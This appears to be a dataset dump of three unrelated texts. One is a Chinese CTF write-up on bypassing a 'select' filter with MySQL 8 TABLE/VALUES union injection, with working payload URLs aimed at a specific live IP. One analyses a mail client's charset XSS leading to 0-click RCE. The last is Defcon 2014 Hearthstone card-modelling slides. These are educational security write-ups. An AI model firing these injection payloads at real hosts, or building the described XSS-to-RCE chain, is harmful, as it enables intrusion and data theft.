text
stringlengths 100
9.93M
| category
stringclasses 11
values |
---|---|
在P师傅小密圈看到了一道有意思的注入题
http://47.98.160.61/1.php?showme=1
代码如下:
1
<?php
2
if(!empty($_GET['showme']))
3
highlight_file(__FILE__);
4
$aaa=mysqli_connect("127.0.0.1","test",'test','test');
5
if(empty($_GET['id'])){
6
$id=1;
7
}else{
8
$id=$_GET['id'];
9
}
10
$clean = strtolower($id);
11
if (strpos($clean,'select') !== false){echo 'waf';exit();}
12
var_dump("select * from news where id='$id'");
13
$result=mysqli_query($aaa,"select * from news where id='$id'");
14
$row=mysqli_fetch_array($result);
15
$title=$row['title'];
16
$content=$row['content'];
17
echo "<h1>$title</h1><br>";
18
19
echo "<h2>$content</h2><br>";
从代码上来看,过滤了select,这里代码的过滤我是绕不过去,所以把重点放在了“如何在不使用select关键字的
情况下,依旧可以注入”
在2019强网杯,有一道类似的题是可以使用堆叠注入,通过预处理语句拼接关键字进行绕过,但是这里的代码并
不支持堆叠注入
猜测这里的tips可能和mysql的版本特性有关系。不能使用select,但是可以通过盲注先获取一下mysql的版本信
息
通过盲注得到mysql版本为: 8.0.20-0ubuntu0.20.04.1
猜测和版本特性有关,于是查看了mysql的官方文档,在当中查找到了答案:
https://dev.mysql.com/doc/refman/8.0/en/table.html
https://dev.mysql.com/doc/refman/8.0/en/values.html
https://dev.mysql.com/doc/refman/8.0/en/union.html
在mysql8.0.19当中引入了两个DML语句,table和values
table
mysql8.0.19引入,返回命名表的行和列
1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
简单概括一下文档中介绍的(个人理解)
table table_name相当于select * from table_name,可以理解为这两个语句产生的执行效果是一样的,但是
table table_name使用时有一些限制如下:
1、只能显示表的所有列,也就是没有办法获取指定的列
2、不能使用where子句
所以当存在两个表A和B,并且A和B的列数一样时,当注入点如下:
select * from A where xxx=xxx
就可以构造
select * from A where xxx=xxx and 1=2 union table B-- -
此时如果页面有回显,就可以获取到B表的数据
所以这道题可以用这个方式获取admin表的数据(一开始提示了两个表的列数相同)
http://47.98.160.61/1.php?showme=1&id=-1%27%20%20union%20table%20admin--%20-
values
mysql8.0.19引入,返回一组一个或多个行作为表。换句话说,它是一个表值构造函数,还可以充当独立的SQL语
句
1
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
2
3
row_constructor_list:
4
ROW(value_list)[, ROW(value_list)][, ...]
5
6
value_list:
7
value[, value][, ...]
8
9
column_designator:
10
column_index
理解:
通过执行:values row(1,2,...)[row(3,4,...)],会生成一个表,表的列名为column_0、column_1....
select * from A where xxx=xxx union values row(1,2,3);
类似于
select * from A where xxx=xxx union select 1,2,3;
所以在不能使用select的情况下,可以通过values DML语句判断表的列数,回显一些信息等
判断出列数为3,以及回显的位置
http://47.98.160.61/1.php?showme=1&id=-1%27%20%20union%20values%20row(1,2,3)--%20-
回显一些数据库信息
http://47.98.160.61/1.php?
showme=1&id=-1%27%20%20union%20values%20row(1,concat(user(),0x3a,version(),0x3a,database()),3)-
-%20-
一些未解决的问题:
当列数不同时,或者在当不知道表名的情况下,如何才能通过回显获取数据 | pdf |
某Air客户端0click RCE分析
前⾔
某Air客户端的RCE漏洞曝出来有⼀段时间了,前⼈已经分析了如何利⽤%00截断实现双击
附件即可执⾏exe的效果。[详情⻅附件1] 本⽂就再进⼀步,借助⼀个XSS实现打开邮件即可触
发RCE。
XSS挖掘
翻了⼀下⽂件,发现客户端显示邮件的⻚⾯是⽤HTML写的,客户端调⽤cef渲染HTML。
HTML⽂件在 cmclient\app\template\readMail ⽬录中,其中 index.html 是⻚⾯内容;
readMail.html 是邮件正⽂的模板,打开邮件时客户端会依照这个模板⽣成⼀个包含邮件正⽂
的完整html⻚⾯放在 C:\Users\Administrator\AppData\Roaming\Cm\CMClient\temp\mail ⽬录,通过
iframe包含在⻚⾯中。简单看⼀下代码很容易就能发现两个疑似的XSS漏洞点。
第⼀个点在index.html中,
如果这⾥ mailId 可控的话也许可以使⽤单引号构造⼀个XSS,但是没找到控制mailId的办
法,⽽且这⾥还是需要点击才能触发,满⾜不了预期。
第⼆个点在邮件正⽂中,Air客户端在处理邮件正⽂的时候虽然去掉了 <script> 标签以
及 onxxx 的事件,但是通过⼀个换⾏很容易就能绕过
不过这⾥由于正⽂模板中加了很严格的CSP策略,inline的js代码⽆法执⾏,所以这条路也被迫
终⽌。(p.s. ⽹⻚版没有CSP限制,不过同样也没有这个绕过🤡)
本以为这次分析到这⾥就要以失败告终了。多亏了⼤佬提醒,才发现原来邮件正⽂的
charset 中也有⼀个XSS。 charset 来⾃于模板替换,⽽且位于CSP之前所以不受CSP的影
响。之前⼀⼼想着如果通过不完善的策略绕过CSP,确没想到就在眼⽪底下还有另外⼀个不受
CSP影响的漏洞点。哎,果然是不识庐⼭真⾯⽬,只缘身在此⼭中。
charset变量xss漏洞成因
⼤概分析了⼀下由模板⽂件⽣成⽬标html的的过程:
parse_html 函数主要将模板中的变量都替换为eml中⽂的值,然后调⽤WriteFile写⼊临时⽂
件,这⾥主要跟⼊⼀下 parse_html 函数,此函数有⼀个⼤循环,会对模板中的多处变量都进
⾏替换。
主要看replace_key函数:
调试⼀下,看⼀下到底传⼊的是什么参数。
第⼆个参数 3E 是html模板开头到 {{CHARSET}} 的⻓度,第三个参数 0B 是 {{CHARSET}}
的⻓度,第四个参数就是我们 eml中设定的变量值,继续跟会发现。
直接⼏次内存copy,将字符串拼接起来:
接着第⼆次copy:
⾄此发现并没有对 charset的值进⾏任何的过滤,直接拼接到了模板⾥,所以可以逃逸双引号,
产⽣XSS漏洞。
新版本patch分析
最后看⼀下最新版是怎么patch的,找到同样的函数,发现在读取eml⽂件的时候加了这样的⼀
个过滤函数:
如果读取的 charset变量有字符不再这个⽩字符串表中,就直接将 charset变量重置为空,这修
复⽅法太暴⼒了.... 感觉是没办法再搞了。
但是要注意他这个仅仅是对 charset 变量做了⼀次,如果其他地⽅也有可以控制的变量,同
样还是存在xss的可能。
构造利⽤
有了XSS其实就⽐较容易利⽤了,只需要执⾏js触发打开附件的操作,就可以实现0click
rce。
由于众所周知的原因PoC暂时不公开,感兴趣的伙伴可以⾃⾏尝试构造⼀波。
知识星球
欢迎⼤家加⼊我的知识星球,和⼀群⼩伙伴⼀起交流学习。 | pdf |
\
I am a legend
Celine & Elie Bursztein
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Digital Collectible Card Game
Released by Blizzard in 2014
Based of World of Warcraft
universe
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Sometimes too interesting leads to
un-intended consequences
Painting by http://www.jason-w.com/blog/the-fall-of-lordaeron
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Game complexity generates exploitable biases
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
1. Finding undervalued cards
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
1. Finding undervalued cards
2. Predicting opponent deck
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
1. Finding undervalued cards
2. Predicting opponent deck
3. Predicting the game outcome
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
1. Finding undervalued cards
2. Predicting opponent deck
3. Predicting the game outcome
4. Incoming alien invasion (or not)
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
You hero
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
You hero
Opponent
hero
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Hero health
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Deck
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
hand
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
hand
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
mana pool
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Weapon
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Minions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
video of a turn
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
video of a turn
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Mana
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Mana
Attack
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Mana
Attack
Health
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Card special abilities is what makes the game
complex and interesting
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Card special abilities is what makes the game
complex and interesting
\
Finding undervalued cards
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Model assumptions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
1. Mana cost is proportional to card power
Model assumptions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
1. Mana cost is proportional to card power
2. The power of cards roughly increase linearly
Model assumptions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
1. Mana cost is proportional to card power
2. The power of cards roughly increase linearly
3. Card effects have constant price
Model assumptions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
1. Mana cost is proportional to card power
2. The power of cards roughly increase linearly
3. Card effects have constant price
4. A card have an intrinsic value
Model assumptions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
1. Mana cost is proportional to card power
2. The power of cards roughly increase linearly
3. Card effects have constant price
4. A card have an intrinsic value
5. The value of the card is the sum of its attribute
Model assumptions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
=
+
mana
attack
health +
intrinsic value
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
=
+
mana
attack
health +
intrinsic value
4
4a
+
i
=
+
5h
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
6 = 6a + 7h + i
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
6 = 6a + 7h + i
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
6 = 6a + 7h + i
4 = 4a + 5h + i
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
6 = 6a + 7h + i
4 = 4a + 5h + i
/6
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
6 = 6a + 7h + i
1 = 1a + 1.16h + i
4 = 4a + 5h + i
/6
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
6 = 6a + 7h + i
1 = 1a + 1.16h + i
4 = 4a + 5h + i
/6
/4
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
6 = 6a + 7h + i
1 = 1a + 1.16h + i
4 = 4a + 5h + i
1 = 1a + 1.25h + i
/6
/4
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
4 = 6d
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
4 = 6d
1 mana = 1.5 dmg
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
4 = 6d
1 mana = 1.5 dmg
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
4 = 6d
10 = 10d
1 mana = 1.5 dmg
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
4 = 6d
10 = 10d
1 mana = 1 dmg
1 mana = 1.5 dmg
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
4 = 6d
10 = 10d
1 mana = 1 dmg
Pre nerf (8 mana)
1 mana = 1.5 dmg
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
4 = 6d
10 = 10d
1 mana = 1 dmg
8 = 10d
Pre nerf (8 mana)
1 mana = 1.5 dmg
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
4 = 6d
10 = 10d
1 mana = 1 dmg
8 = 10d
1 mana = 1.25 dmg
Pre nerf (8 mana)
1 mana = 1.5 dmg
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
10 damages
4 damages
imply
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
15 damages
6 damages
10 damages
4 damages
imply
imply
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Hunting for under-valued cards
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
How to find undervalued cards?
Model cards
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
How to find undervalued cards?
Model cards
Reverse coefficients
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
How to find undervalued cards?
Model cards
Compute cards real value
Reverse coefficients
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
How to find undervalued cards?
Model cards
Compute cards real value
Reverse coefficients
Profit :)
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Simple 5 cards example
Use simpler coefficients
Approach
illustrated
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Charge
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Charge
Divine shield
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
4 = 4a + 3h + c + i
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
4 = 4a + 3h + c + i
6 = 5a + 2h + c + i
6 = 4a + 2h + c + d + i
3 = 3a + 1h + d + i
1 = 1a + 1h + d + i
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversing attribute cost
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversing attribute cost
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversing attribute cost
mana Atk Health Charge Divine Intrinsic
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversing attribute cost
mana Atk Health Charge Divine Intrinsic
4
4
3
1
0
1
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversing attribute cost
mana Atk Health Charge Divine Intrinsic
4
4
3
1
0
1
6
5
2
1
0
1
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversing attribute cost
mana Atk Health Charge Divine Intrinsic
4
4
3
1
0
1
6
5
2
1
0
1
6
4
2
1
1
1
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversing attribute cost
mana Atk Health Charge Divine Intrinsic
4
4
3
1
0
1
6
5
2
1
0
1
6
4
2
1
1
1
3
3
1
0
1
1
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversing attribute cost
mana Atk Health Charge Divine Intrinsic
4
4
3
1
0
1
6
5
2
1
0
1
6
4
2
1
1
1
3
3
1
0
1
1
1
1
1
0
1
1
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversing attribute cost
mana Atk Health Charge Divine Intrinsic
4
4
3
1
0
1
6
5
2
1
0
1
6
4
2
1
1
1
3
3
1
0
1
1
1
1
1
0
1
1
Least
square
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversing attribute cost
mana Atk Health Charge Divine Intrinsic
4
4
3
1
0
1
6
5
2
1
0
1
6
4
2
1
1
1
3
3
1
0
1
1
1
1
1
0
1
1
Atk
Health
Charge
Divine
Intrinsic
=
=
=
=
=
1
-1
2
1
1
Least
square
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversing attribute cost
mana Atk Health Charge Divine Intrinsic
4
4
3
1
0
1
6
5
2
1
0
1
6
4
2
1
1
1
3
3
1
0
1
1
1
1
1
0
1
1
Atk
Health
Charge
Divine
Intrinsic
=
=
=
=
=
1
-1
2
1
1
Warning these example attribute costs are bogus as we
didn’t use enough cards
Least
square
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Finding card real price using reversed coefficients
Atk = 1
Health = -1
Charge = 2
Divine = 1
Intrinsic = 1
Coeffs:
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Finding card real price using reversed coefficients
4a + 2h + c + d + i
Atk = 1
Health = -1
Charge = 2
Divine = 1
Intrinsic = 1
Coeffs:
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Finding card real price using reversed coefficients
4a + 2h + c + d + i
4*1 + 2*-1 + 2 + 1 + 1 = 6
Atk = 1
Health = -1
Charge = 2
Divine = 1
Intrinsic = 1
Coeffs:
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Finding card real price using reversed coefficients
4a + 2h + c + d + i
4*1 + 2*-1 + 2 + 1 + 1 = 6
Atk = 1
Health = -1
Charge = 2
Divine = 1
Intrinsic = 1
Coeffs:
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Finding card real price using reversed coefficients
4a + 2h + c + d + i
4*1 + 2*-1 + 2 + 1 + 1 = 6
1a + 1h + d + i
Atk = 1
Health = -1
Charge = 2
Divine = 1
Intrinsic = 1
Coeffs:
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Finding card real price using reversed coefficients
4a + 2h + c + d + i
4*1 + 2*-1 + 2 + 1 + 1 = 6
1a + 1h + d + i
1*1 + 1*-1 + 1 + 1 = 2
Atk = 1
Health = -1
Charge = 2
Divine = 1
Intrinsic = 1
Coeffs:
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Finding card real price using reversed coefficients
4a + 2h + c + d + i
4*1 + 2*-1 + 2 + 1 + 1 = 6
1a + 1h + d + i
1*1 + 1*-1 + 1 + 1 = 2
Atk = 1
Health = -1
Charge = 2
Divine = 1
Intrinsic = 1
Coeffs:
Under-valued
card!
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Redit story
Thanks you
for the feedback!
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Modeling dependance
between characteristics
Thanks to Niels for the idea
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Charge = Atk * charge coeff
Windfury = Atk * windfury coeff
Divine = ? (health related?)
!
Modeling dependance
between characteristics
Thanks to Niels for the idea
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Charge = Atk * charge coeff
Windfury = Atk * windfury coeff
Divine = ? (health related?)
!
Modeling dependance
between characteristics
Thanks to Niels for the idea
Model also use a card budget:
2*mana + 1
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
oi
Et voila!
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversed budget coefficients
Effect
cost per point
Destroy minion
10.63
Board damage
3.69
Draw card
3.68
Divine Shield
2.74
Freeze
2.04
Silence
1.66
Damage
1.64
Durability
1.22
Stealth
1.21
Attack
1.14
Taunt
1.02
WindFury
0.96
SpellPower
0.93
Health
0.81
Battlecry heal
0.69
Battlecry self hero heal
0.68
Charge
0.65
Intrinsic value
0.32
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversed budget coefficients
Effect
cost per point
Destroy minion
10.63
Board damage
3.69
Draw card
3.68
Divine Shield
2.74
Freeze
2.04
Silence
1.66
Damage
1.64
Durability
1.22
Stealth
1.21
Attack
1.14
Taunt
1.02
WindFury
0.96
SpellPower
0.93
Health
0.81
Battlecry heal
0.69
Battlecry self hero heal
0.68
Charge
0.65
Intrinsic value
0.32
2 coeff point ~ 1 mana point
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversed budget coefficients
Effect
cost per point
Destroy minion
10.63
Board damage
3.69
Draw card
3.68
Divine Shield
2.74
Freeze
2.04
Silence
1.66
Damage
1.64
Durability
1.22
Stealth
1.21
Attack
1.14
Taunt
1.02
WindFury
0.96
SpellPower
0.93
Health
0.81
Battlecry heal
0.69
Battlecry self hero heal
0.68
Charge
0.65
Intrinsic value
0.32
Effect
Cost per point
Opponent draw card
-3.97
Discard cards
-2.67
Overload
-1.68
Self hero damage
-0.54
2 coeff point ~ 1 mana point
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Reversed budget coefficients
Effect
cost per point
Destroy minion
10.63
Board damage
3.69
Draw card
3.68
Divine Shield
2.74
Freeze
2.04
Silence
1.66
Damage
1.64
Durability
1.22
Stealth
1.21
Attack
1.14
Taunt
1.02
WindFury
0.96
SpellPower
0.93
Health
0.81
Battlecry heal
0.69
Battlecry self hero heal
0.68
Charge
0.65
Intrinsic value
0.32
Effect
Cost per point
Opponent draw card
-3.97
Discard cards
-2.67
Overload
-1.68
Self hero damage
-0.54
2 coeff point ~ 1 mana point
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Cost estimated by the algorithm (in mana)
0
1
2
3
4
5
6
7
8
9
10
Cost assigned by Blizzard (in mana)
0
1
2
3
4
5
6
7
8
9
10
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Cost estimated by the algorithm (in mana)
0
1
2
3
4
5
6
7
8
9
10
Cost assigned by Blizzard (in mana)
0
1
2
3
4
5
6
7
8
9
10
undervalued cards
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Cost estimated by the algorithm (in mana)
0
1
2
3
4
5
6
7
8
9
10
Cost assigned by Blizzard (in mana)
0
1
2
3
4
5
6
7
8
9
10
undervalued cards
overpriced cards
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Model found a couple of clearly undervalued cards :)
Cost estimated by the algorithm (in mana)
0
1
2
3
4
5
6
7
8
9
10
Cost assigned by Blizzard (in mana)
0
1
2
3
4
5
6
7
8
9
10
undervalued cards
overpriced cards
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Most under-valued cards (~130 cards)
Full data https://www.elie.net/tools/hearthstone/cards_value
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Taking it to the next level
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
• 100 000 games from May to June
• Thanks to … for it :)
• Need a longer term solution
Game replays
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Pricing cards with unique effects
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Cards in
hand
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Health
Real Value
1
1.3
2
1.9
3
2.5
4
3
5
3.6
6
4.1
7
4.7
8
5.3
9
5.9
Cards in
hand
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
1.3
1.9
2.5
3.0
3.6
4.2
4.7
5.3
5.9
Overpriced
Fair
Undervalued
Num of Twilight Drakes made
0
500
1000
1500
2000
2500
Drake Health
1
2
3
4
5
6
7
8
9
Average real value 3.7
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Twilight drake price is fair
1.3
1.9
2.5
3.0
3.6
4.2
4.7
5.3
5.9
Overpriced
Fair
Undervalued
Num of Twilight Drakes made
0
500
1000
1500
2000
2500
Drake Health
1
2
3
4
5
6
7
8
9
Average real value 3.7
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Cards
played
this turn
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Edwin size
Real value
2/2
1.09
4/4
3.04
6/6
4.98
8/8
6.92
10/10
8.87
12/12
10.51
14/14
12.75
16/16
14.70
18/18
16.64
20/20
18.58
22/22
20.53
Cards
played
this turn
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
1.1
3.0
Over-priced
Fair
Undervalued
5.0
6.9
8.9
10.8
12.8
14.7
16.6 18.6
20.5 22.5 24.4 26.4
Num of VanCleef made
0
100
200
300
400
500
600
700
800
VanCleef size (atk/hp)
2/2
4/4
6/6
8/8 10/10 12/12 14/14 16/16 18/18 20/20 22/22 24/24 26/26 28/28
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
1.1
3.0
Over-priced
Fair
Undervalued
5.0
6.9
8.9
10.8
12.8
14.7
16.6 18.6
20.5 22.5 24.4 26.4
Num of VanCleef made
0
100
200
300
400
500
600
700
800
VanCleef size (atk/hp)
2/2
4/4
6/6
8/8 10/10 12/12 14/14 16/16 18/18 20/20 22/22 24/24 26/26 28/28
Average real value 8.1
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
VanCleef is undervalued, a fair price is probably
between 5 and 7 mana
1.1
3.0
Over-priced
Fair
Undervalued
5.0
6.9
8.9
10.8
12.8
14.7
16.6 18.6
20.5 22.5 24.4 26.4
Num of VanCleef made
0
100
200
300
400
500
600
700
800
VanCleef size (atk/hp)
2/2
4/4
6/6
8/8 10/10 12/12 14/14 16/16 18/18 20/20 22/22 24/24 26/26 28/28
Average real value 8.1
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Num
Minions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Num
Minions
Damage
Value
4
6.5
8
13.9
12
21.3
16
28.6
20
36.0
24
43.4
28
50.7
Board damage coeff
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Num
Minions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Num
Minions
Normal damage coeff
Damage
Real Value
4
2.43835
8
5.71835
12
8.99835
16
12.27835
20
15.55835
24
18.83835
28
22.11835
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Flamestrike price is fair
Don’t split board damage and single damage coeff
2.4
5.7
9.0
12.3
15.6
18.8
22.1
Over-priced
Undervalued
Num of Flamestike casted
0
10
20
30
40
50
60
70
80
90
100
110
120
130
140
Potential damage
4
8
12
16
20
24
28
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Predicting cards
Predicting opponent deck
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine
Our tool :)
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
My deck with
card tracking
Game metrics
Opponent cards
played so far
Opponent next
cards prediction
Real time dashboard
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Game metrics
Me
Opponent
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
My deck
T = Total
P = Played
D = Dead
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
My opponent
T = Total
P = Played
D = Dead
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Predictions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Game data from
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Sniff packets
Game data from
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Sniff packets
OCR
Game data from
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Sniff packets
OCR
Debug log
Game data from
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Sniff packets
OCR
Debug log
Game data from
Real logs from Blizzard like in WoW ?
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Demo video
https://www.youtube.com/watch?v=--byrlBQLCY
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Demo video
https://www.youtube.com/watch?v=--byrlBQLCY
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Turn by Turn History
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Available on Github
LightWind/hearthstone-dashboard
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Naxx new cards made the meta to unstable to be
predicted accurately for now
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Anatomy of our prediction system
Model card affinities
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
